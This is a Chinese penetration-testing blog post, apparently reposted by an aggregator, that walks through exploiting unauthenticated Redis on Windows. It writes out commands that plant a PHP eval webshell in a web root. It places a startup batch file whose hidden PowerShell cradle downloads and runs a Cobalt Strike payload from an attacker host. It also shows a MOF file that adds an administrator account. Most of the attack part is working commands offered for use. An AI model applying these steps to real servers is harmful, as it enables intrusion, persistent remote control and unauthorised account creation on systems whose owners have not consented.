windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理
01
Redis未授權(quán)產(chǎn)生原因
1.redis綁定在0.0.0.0:6379默認(rèn)端口,直接暴露在公網(wǎng),無(wú)防火墻進(jìn)行來(lái)源信任防護(hù)。
2.沒(méi)有設(shè)置密碼認(rèn)證,可以免密遠(yuǎn)程登錄redis服務(wù)
02
漏洞危害
1.信息泄露,攻擊者可以惡意執(zhí)行flushall清空數(shù)據(jù)
2.可以通過(guò)eval執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤寫入后門文件
3.若以root身份運(yùn)行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器。
03
利用方式01-寫入webshell
寫入webshell
1.獲取web絕對(duì)路徑,直接寫入webshell
redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x “<?php @eval($_POST['a']) ?>”O(jiān)Kredis redis-server> saveOK直接訪問(wèn)shell.php即可
04
利用方式02-啟動(dòng)項(xiàng)寫入
windows下的開(kāi)機(jī)啟動(dòng)項(xiàng)的目錄為
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
寫入方式有很多,這里我們使用Cobalt Strike來(lái)進(jìn)行演示
先啟動(dòng)CS服務(wù)端 ,命令如下:
root@kali:~/cobaltstrike4.1# ./teamserver csip 123456
在啟動(dòng)客戶端,輸入密碼和地址
添加一個(gè)Listener 監(jiān)聽(tīng)器
選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener
點(diǎn)擊Launch之后生成如下代碼
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"
直接保存為1.bat即可
其中存在兩個(gè)小細(xì)節(jié),一個(gè)是由于dbfile本身是有內(nèi)容的,因此命令要正常運(yùn)行必須先換行,經(jīng)過(guò)測(cè)試需要兩個(gè)換行符rn才能正常運(yùn)行,還有一個(gè)是由于本身執(zhí)行命令中也有雙引號(hào),因此需要加入轉(zhuǎn)義
redis-cli.exe -h 目標(biāo)ip -p 6379 redis 目標(biāo)ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目標(biāo)ip:6379> CONFIG SET dbfilename 1.bat OK?redis?目標(biāo)ip:6379>set?x?"/r/n/r/npowershell.exe?-nop?-w?hidden?-c?"IEX?((new-object?net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n
注意這里的雙引號(hào)要轉(zhuǎn)義,windwos路徑的start menu中間一個(gè)空格
OK redis 192.168.1.101:6379> save OK
查看服務(wù)器啟動(dòng)項(xiàng),發(fā)現(xiàn)正常寫入命令
重啟目標(biāo)機(jī)器,成功上線
05
利用方式03-寫入mof
如果由于不能重啟機(jī)器也無(wú)法獲取web目錄,想到Mof提權(quán),環(huán)境限制只能為win2003。
簡(jiǎn)單描述一下mof提權(quán)的原理:
mof是windows系統(tǒng)的一個(gè)文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對(duì)象格式”其作用是每隔五秒就會(huì)去監(jiān)控進(jìn)程創(chuàng)建和死亡。其實(shí)就是有了mysql的root權(quán)限了以后,然后使用root權(quán)限去執(zhí)行我們上傳的mof。隔了一定時(shí)間以后這個(gè)mof就會(huì)被執(zhí)行,這個(gè)mof當(dāng)中有一段是vbs腳本,這個(gè)vbs大多數(shù)的是cmd的添加管理員用戶的命令。
也就是說(shuō)在`c:/windows/system32/wbem/mof/`目錄下的mof文件會(huì)每5秒自動(dòng)執(zhí)行一次,這樣就不需要重啟機(jī)器就能獲取權(quán)限了。
首先將如下代碼保存為admin.txt文件:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };此處要執(zhí)行的命令為添加名為admin的用戶
然后執(zhí)行
(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt切換到redis目錄,運(yùn)行如下命令
過(guò)一會(huì)就看到用戶添加成功了。(本地測(cè)試一直未成功,寫入mof文件夾成功,但是執(zhí)行一直到bad文件夾里)
補(bǔ)充一個(gè)linux下的利用方式:
在2019年7月7日結(jié)束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會(huì)上介紹了一種關(guān)于redis新版本的RCE利用方式
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf利用腳本如下
https://github.com/LoRexxar/redis-rogue-server實(shí)戰(zhàn)在生產(chǎn)環(huán)境下用還是會(huì)有很多問(wèn)題的
1. redis數(shù)據(jù)量稍微大一點(diǎn),寫shell到文件之后,php因?yàn)槲募笫菚?huì)拒絕執(zhí)行的
2. Ubuntu,Debian寫計(jì)劃任務(wù)反彈無(wú)用
3. 寫/etc/passwd會(huì)覆蓋原有/etc/passwd,不可能改了再改回來(lái)
4. 生產(chǎn)環(huán)境下用`KEY *` 這樣的命令直接炸
【往期推薦】
未授權(quán)訪問(wèn)漏洞匯總
干貨|常用滲透漏洞poc、exp收集整理
記一次HW實(shí)戰(zhàn)筆記 | 艱難的提權(quán)爬坑
【超詳細(xì)】Fastjson1.2.24反序列化漏洞復(fù)現(xiàn)
【超詳細(xì)】CVE-2020-14882 | Weblogic未授權(quán)命令執(zhí)行漏洞復(fù)現(xiàn)
【奇淫巧技】如何成為一個(gè)合格的“FOFA”工程師
走過(guò)路過(guò)的大佬們留個(gè)關(guān)注再走唄
往期文章有彩蛋哦
總結(jié)
以上是生活随笔為你收集整理的windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 什么时候出python4_Python4
- 下一篇: 如何用python生成表格_用 Pyth